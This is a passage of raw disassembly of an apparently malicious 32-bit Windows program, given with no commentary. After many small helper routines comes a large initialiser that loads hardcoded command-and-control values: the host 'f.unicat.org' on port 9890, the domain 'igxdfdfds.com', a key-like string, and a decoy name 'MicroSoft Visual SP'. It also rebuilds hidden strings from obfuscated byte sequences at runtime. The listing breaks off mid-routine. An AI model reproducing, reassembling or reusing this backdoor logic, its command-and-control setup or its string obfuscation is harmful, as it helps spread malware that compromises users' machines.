		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aF_unicat_org ; "f.unicat.org"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a9890	; "9890"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset dword_44486C
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset off_444868
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgxdfdfds_com ;	"igxdfdfds.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAydassklfsdsew ; "aydassklfsdsewrlkwel"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444830 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	1
		push	4
		push	13h
		push	1
		lea	ecx, [esp+3A4h+var_348]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 50h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+3A4h+var_4], 28h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+388h], 2Dh
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
